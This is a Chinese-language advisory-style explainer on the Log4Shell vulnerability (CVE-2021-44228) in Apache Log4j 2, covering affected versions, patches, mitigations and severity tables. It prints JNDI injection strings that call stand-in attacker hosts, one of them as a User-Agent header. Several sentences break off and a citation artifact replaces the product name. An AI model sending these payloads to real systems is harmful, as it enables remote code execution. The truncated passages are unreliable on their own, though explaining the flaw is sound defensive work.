Apache Log4j 2 中的一个关键远程代码执行漏洞,广泛被称为 Log4Shell。
CVE-2021-44228 是 :contentReference[oaicite:0]{index=0} 版本 2.x(2.15.0 之前)中的一个关键 RCE 漏洞,于 2021 年 12 月被发现。
它允许未认证的远程攻击者通过向被 Log4j 记录的输入发送特制字符串,在易受攻击的系统上执行任意代码。该漏洞影响全球无数基于 Java 的应用程序和服务。
该漏洞源于 Log4j 对日志字符串中 JNDI 查询的处理。攻击者可以在记录的消息中嵌入一个恶意的 JNDI 资源(例如 LDAP、DNS),如下所示:
${jndi:ldap://attacker.com/a}
Log4j 将:
这使得攻击者能够在受影响的服务上实现完全的 远程代码执行 (RCE)。
由于 Log4j 被无数库和应用程序使用,任何记录不可信数据的系统都可能存在漏洞。
以下 Log4j 2 版本 存在漏洞:
>= 2.0-beta9 且 < 2.15.0
此外,2.15.0 的某些配置仍可被利用,因此 2.16.0 及更高版本是安全基线。
更新到 Log4j 2 版本:
2.17.1 或更高版本
后续补丁进一步提高了安全性(例如 2.17.2、2.19.0 等)。
如果无法立即升级,您可以:
log4j2.formatMsgNoLookups=true
JndiLookup 类:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
这些步骤有助于在您能够更新之前减少暴露。
此漏洞极易利用。攻击者只需发送一个被应用程序记录的构造字符串(例如通过 HTTP 头部、表单参数、聊天消息、数据库字段):
User-Agent: ${jndi:ldap://attacker.example/a}
一旦被记录,应用程序将执行远程查询,并可被强制执行攻击者控制的 Java 代码。
Log4Shell 在全球产生了巨大影响:
这是 几十年来最重大的漏洞之一。
您可以通过以下方式检测易受攻击的系统:
${jndi:)如果您的应用程序或您使用的任何库依赖于 Log4j 2.x,请立即更新到已修补的版本(≥ 2.17.1),并验证 JNDI 查询已禁用或在可能的情况下删除。
| 指标 | 详情 |
|---|
| CVSS v3.1 基础分数 | 10.0(关键) |
| 攻击向量 | 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 认证 | 不需要 |
| 影响 | 完全 RCE |
| 字段 | 值 |
|---|
| CVE ID | CVE-2021-44228 |
| 昵称 | Log4Shell |
| 产品 | Apache Log4j 2 |
| 严重性 | 关键(CVSS 10.0) |
| 类型 | 远程代码执行 |
| 影响 | 完全系统沦陷 |
| 可利用性 | 极易 |
| 缓解措施 | 修补到 ≥ 2.17.1 |